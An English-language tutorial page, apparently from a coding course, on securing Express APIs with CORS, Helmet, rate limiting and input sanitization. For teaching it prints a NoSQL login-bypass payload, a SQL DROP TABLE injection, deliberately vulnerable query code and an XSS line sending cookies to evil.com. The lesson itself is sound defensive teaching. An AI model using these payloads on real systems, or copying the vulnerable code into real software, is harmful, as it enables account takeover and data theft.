Avancé25 min de lecture

API Security Best Practices

Protect your API from common attacks — CORS, Helmet, rate limiting, input sanitization, and HTTPS.

The OWASP Top 10

Security is not a feature you add at the end of a project — it is a fundamental requirement that must be considered at every stage of development. The Open Web Application Security Project (OWASP) maintains a regularly updated list of the most critical web application security risks. Understanding these risks is essential for any developer building APIs that handle real user data.

The OWASP Top 10 includes these critical vulnerabilities:

1. Injection — The most dangerous and most common attack. SQL injection, NoSQL injection, and command injection occur when untrusted user input is interpreted as code or commands by your database or operating system. An attacker entering {"email": {"$gt": ""}} as a login credential can bypass MongoDB authentication entirely. An unescaped SQL input like '; DROP TABLE users; -- can destroy your entire database.

2. Broken Authentication — Weak passwords, exposed tokens, missing rate limiting on login endpoints, session tokens that never expire. If an attacker can guess, steal, or brute-force credentials, they own your user accounts.

3. Sensitive Data Exposure — Storing passwords in plain text, transmitting data over HTTP instead of HTTPS, including sensitive data in URLs (which get logged), exposing API keys in client-side code, or returning more data than the client needs.

4. Broken Access Control — Users accessing resources they should not: a regular user hitting admin endpoints, user A reading user B's private data by changing an ID parameter, or unauthenticated users reaching protected routes because middleware was misconfigured.

5. Security Misconfiguration — Default credentials left unchanged, verbose error messages revealing stack traces and database schemas in production, unnecessary HTTP methods enabled (PUT, DELETE on public routes), directory listing exposed, debug mode left on in production.

6. Cross-Site Scripting (XSS) — Injecting malicious JavaScript through user input that gets rendered in other users' browsers. If your API stores a comment containing <script>steal(cookies)</script> and your frontend renders it as HTML, every user who views that comment gets their cookies stolen.

Your API is a target the moment it is deployed to the internet. Automated bots constantly scan for common vulnerabilities. Security is not optional — it is your responsibility to your users whose data you are entrusted with.

CORS (Cross-Origin Resource Sharing)

When your React frontend at https://myapp.com makes a fetch request to your Express API at https://api.myapp.com, the browser blocks it. This is the Same-Origin Policy — a fundamental browser security mechanism that prevents a website from making requests to a different origin (different protocol, domain, or port). Without this policy, any website you visit could silently make requests to your bank's API using your stored cookies.

CORS (Cross-Origin Resource Sharing) is a protocol that allows servers to relax the Same-Origin Policy for specific origins. When a cross-origin request is made, the browser sends the request with an Origin header. The server responds with Access-Control-Allow-Origin headers indicating which origins are allowed. If the requesting origin is not in the allowed list, the browser blocks the response.

For certain requests (PUT, DELETE, requests with custom headers), the browser first sends a preflight request — an OPTIONS request asking the server "Will you accept this type of request from this origin?" The server responds with the allowed methods, headers, and origins. Only if the preflight is approved does the browser send the actual request.

In Express, the cors package handles all of this automatically:

javascript
const cors = require('cors');

// Allow all origins (development only!)
app.use(cors());

// Production: whitelist specific origins
app.use(cors({
  origin: ['https://myapp.com', 'https://admin.myapp.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true  // Allow cookies to be sent cross-origin
}));

Critical mistake: using cors() with no options in production. This sets Access-Control-Allow-Origin: *, meaning ANY website can make requests to your API. An attacker's website at evil.com could make authenticated requests to your API if the user has a valid session. Always whitelist specific origins in production.

The credentials: true option is required when your frontend needs to send cookies (like session cookies or refresh tokens) with cross-origin requests. When using credentials, you cannot use the wildcard * for the origin — you must specify exact origins. This is a security requirement enforced by the browser.

You can also configure CORS per-route instead of globally. For example, your public API endpoints might allow broad access while admin endpoints are restricted to your admin dashboard origin only.

Helmet — Security Headers

HTTP response headers are your first line of defense against many common web attacks. The correct headers tell the browser to enforce security policies that prevent XSS, clickjacking, MIME type sniffing, and other attacks. Configuring all these headers manually would require deep knowledge of each header and its options. Helmet is an Express middleware that sets all the essential security headers in a single line of code.

Install and use Helmet:

javascript
const helmet = require('helmet');
app.use(helmet());

That one line sets over a dozen security headers. Here are the most important ones:

Content-Security-Policy — The most powerful security header. It tells the browser which sources of content (scripts, styles, images, fonts, frames) are allowed to load. This prevents XSS attacks by blocking inline scripts and scripts from untrusted domains. If an attacker injects <script src="https://evil.com/steal.js">, CSP blocks it because evil.com is not in the allowed sources.

X-Content-Type-Options: nosniff — Prevents the browser from guessing ("sniffing") the MIME type of a response. Without this header, a browser might interpret a malicious file served as text/plain as JavaScript and execute it.

X-Frame-Options: SAMEORIGIN — Prevents your site from being embedded in an iframe on another domain. This defends against clickjacking attacks, where an attacker overlays your site inside a transparent iframe on their malicious page, tricking users into clicking buttons they cannot see.

Strict-Transport-Security (HSTS) — Tells the browser to always use HTTPS for your domain, even if the user types http://. This prevents downgrade attacks where an attacker intercepts an HTTP request before it redirects to HTTPS.

X-XSS-Protection: 0 — Helmet actually disables the legacy XSS filter because it can cause more harm than good (it can be exploited in certain scenarios). Modern CSP headers provide much better XSS protection.

Referrer-Policy — Controls how much referrer information is sent when users navigate away from your site. Prevents leaking internal URLs, user IDs in URLs, or API endpoint paths to external sites.

Helmet is not a silver bullet, but it is one of the highest return-on-investment security measures available. One npm install, one line of code, and your API is significantly more resistant to common attacks. There is no reason not to use it in every Express application.

Rate Limiting

Without rate limiting, a single attacker can send thousands of requests per second to your API. This enables brute-force attacks (trying millions of password combinations on your login endpoint), denial-of-service attacks (overwhelming your server with requests until it crashes), web scraping (extracting all your data by rapidly crawling your API), and API abuse (exceeding your infrastructure's capacity with automated requests).

Rate limiting restricts how many requests a client can make within a time window. Once the limit is exceeded, subsequent requests receive a 429 Too Many Requests response until the window resets.

The express-rate-limit package provides easy rate limiting for Express:

javascript
const rateLimit = require('express-rate-limit');

// General API limiter: 100 requests per 15 minutes
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 100,                   // Limit each IP to 100 requests per window
  message: { error: 'Too many requests, please try again later' },
  standardHeaders: true,      // Return rate limit info in RateLimit-* headers
  legacyHeaders: false        // Disable X-RateLimit-* headers
});

app.use('/api/', apiLimiter);

Different routes need different limits. Your login endpoint should be strictly rate-limited (5-10 attempts per 15 minutes) because it is the primary target for brute-force attacks. Your public API might allow 100-200 requests per 15 minutes. Internal or admin routes might be more relaxed if they are already behind authentication.

javascript
// Strict limiter for auth routes
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,  // Only 5 login attempts per 15 minutes
  message: { error: 'Too many login attempts. Try again in 15 minutes.' }
});

app.use('/api/auth/', authLimiter);

Rate limiting by IP address is the default strategy, but it has limitations. Users behind the same NAT (corporate networks, university campuses) share an IP address and collectively hit the limit. Attackers can rotate through thousands of IP addresses using botnets or proxies.

For more sophisticated rate limiting, consider:

  • Rate limiting by user ID (after authentication) instead of IP
  • Sliding window algorithms that smooth out burst patterns
  • Redis-backed rate limiting (rate-limit-redis) for distributed deployments where multiple server instances share state
  • Tiered limits — free users get 100 requests/hour, paid users get 1000, enterprise gets 10000

Always return helpful headers with rate-limited responses: RateLimit-Limit (the max), RateLimit-Remaining (how many are left), and RateLimit-Reset (when the window resets). This lets well-behaved clients throttle themselves proactively.

Input Sanitization & Injection Prevention

The most fundamental rule of web security is never trust user input. Every piece of data that arrives from the client — URL parameters, query strings, request bodies, headers, cookies — is potentially malicious. An attacker will not fill out your form nicely. They will send crafted payloads designed to exploit vulnerabilities in your code.

NoSQL Injection is particularly insidious because many developers do not realize MongoDB queries are vulnerable. Consider a login endpoint:

javascript
// VULNERABLE — DO NOT DO THIS
const user = await User.findOne({ email: req.body.email, password: req.body.password });

If an attacker sends { "email": { "$gt": "" }, "password": { "$gt": "" } }, both conditions evaluate to true for every document in the collection, and the query returns the first user — granting the attacker access to someone else's account without knowing any credentials.

Prevention strategies for NoSQL injection:

  1. Type validation — Ensure inputs are the expected type before using them in queries. If email should be a string, reject objects: if (typeof req.body.email !== 'string') return res.status(400).json({ error: 'Invalid input' });
  2. The mongo-sanitize package — Strips any keys starting with $ from user input: const sanitize = require('mongo-sanitize'); const cleanEmail = sanitize(req.body.email);
  3. Schema validation — Use Mongoose schema validation or Joi/Zod to validate input structure before it reaches any database query.

XSS (Cross-Site Scripting) occurs when user input is rendered as HTML without escaping. If a user's "name" is <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> and you render it in a page, every visitor executes that script.

Prevention: Always escape HTML entities in user-generated content. Use libraries like xss or DOMPurify (server-side with jsdom). Never use innerHTML with user data on the frontend — use textContent instead. Set the Content-Security-Policy header (via Helmet) to block inline scripts.

SQL Injection (if using PostgreSQL or MySQL): Never build queries by concatenating strings. Use parameterized queries or an ORM:

javascript
// VULNERABLE: const query = `SELECT * FROM users WHERE email = '${email}'`;
// SAFE: const result = await pool.query('SELECT * FROM users WHERE email = $1', [email]);

General input sanitization best practices:

  • Validate input type, length, format, and range on every endpoint
  • Use allow-lists (only accept known good values) rather than block-lists (reject known bad values)
  • Trim whitespace and normalize strings
  • Limit string lengths to prevent buffer overflow and storage attacks
  • Validate and sanitize file uploads (check magic bytes, not just MIME type)
  • Log suspicious input patterns for security monitoring

Complete Express Security Setup

javascript
const express = require('express');
const cors = require('cors');
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
const mongoSanitize = require('express-mongo-sanitize');

const app = express();

// ── 1. Helmet — Security Headers ─────────────────────
app.use(helmet());

// ── 2. CORS — Cross-Origin Access Control ────────────
app.use(cors({
  origin: process.env.NODE_ENV === 'production'
    ? ['https://myapp.com', 'https://admin.myapp.com']
    : '*',
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true
}));

// ── 3. Body Parsing with Size Limit ──────────────────
app.use(express.json({ limit: '10kb' }));  // Reject bodies larger than 10kb
app.use(express.urlencoded({ extended: true, limit: '10kb' }));

// ── 4. NoSQL Injection Prevention ────────────────────
app.use(mongoSanitize());  // Strips $ and . from req.body, req.query, req.params

// ── 5. Global Rate Limiter ───────────────────────────
const globalLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 100,
  message: { error: 'Too many requests from this IP' },
  standardHeaders: true,
  legacyHeaders: false
});
app.use('/api/', globalLimiter);

// ── 6. Strict Auth Rate Limiter ──────────────────────
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,  // Only 5 attempts
  message: { error: 'Too many login attempts. Try again in 15 minutes.' }
});
app.use('/api/auth/', authLimiter);

// ── 7. Input Validation Middleware ────────────────────
function validateInput(schema) {
  return (req, res, next) => {
    // Ensure all string fields are actually strings (prevent NoSQL injection)
    for (const [key, value] of Object.entries(req.body)) {
      if (typeof value === 'object' && value !== null) {
        return res.status(400).json({ error: `Invalid value for field: ${key}` });
      }
    }
    next();
  };
}

// ── Routes ───────────────────────────────────────────
app.post('/api/auth/login', validateInput(), async (req, res) => {
  // Login logic here — protected by authLimiter + validateInput
});

app.get('/api/users', async (req, res) => {
  // Public route — protected by globalLimiter
});

// ── 8. 404 Handler ───────────────────────────────────
app.all('*', (req, res) => {
  res.status(404).json({ error: `Route ${req.method} ${req.url} not found` });
});

// ── 9. Error Handler ─────────────────────────────────
app.use((err, req, res, next) => {
  const status = err.statusCode || 500;
  const message = process.env.NODE_ENV === 'production'
    ? 'Internal Server Error'
    : err.message;
  res.status(status).json({ error: message });
});

What HTTP status code indicates too many requests (rate limited)?

Prêt à pratiquer ?

Crée ton compte gratuit pour accéder à l'éditeur de code interactif, lancer les défis et suivre ta progression.